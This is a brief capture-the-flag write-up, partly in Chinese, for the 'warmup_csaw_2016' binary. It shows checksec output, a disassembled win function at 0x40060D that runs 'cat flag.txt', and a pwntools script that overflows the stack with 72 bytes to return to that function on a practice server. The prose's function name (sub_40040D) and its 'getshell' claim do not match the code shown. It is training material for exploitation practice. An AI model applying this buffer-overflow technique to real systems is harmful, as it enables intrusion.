warmup_csaw_2016

checksec:

# zhailin @ DESKTOP-4OQQP8F in ~/Pwns/ROP/warmup_csaw_2016 [12:08:42]
$ checksec warmup_csaw_2016
[*] '/home/zhailin/Pwns/ROP/warmup_csaw_2016/warmup_csaw_2016'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments

offset72

在ida中找到sub_40040D函数，内容如下：

; int sub_40060D()
sub_40060D proc near
; __unwind {
push    rbp
mov     rbp, rsp
mov     edi, offset command ; "cat flag.txt"
call    _system
pop     rbp
retn
; } // starts at 40060D
sub_40060D endp

溢出到这个函数即可getshell

EXP:

from pwn import *
# sh = process('./warmup_csaw_2016')
sh = remote('node5.buuoj.cn', 27947)

payoad = b'a'*72 + p64(0x40060D)

sh.sendline(payoad)
sh.interactive()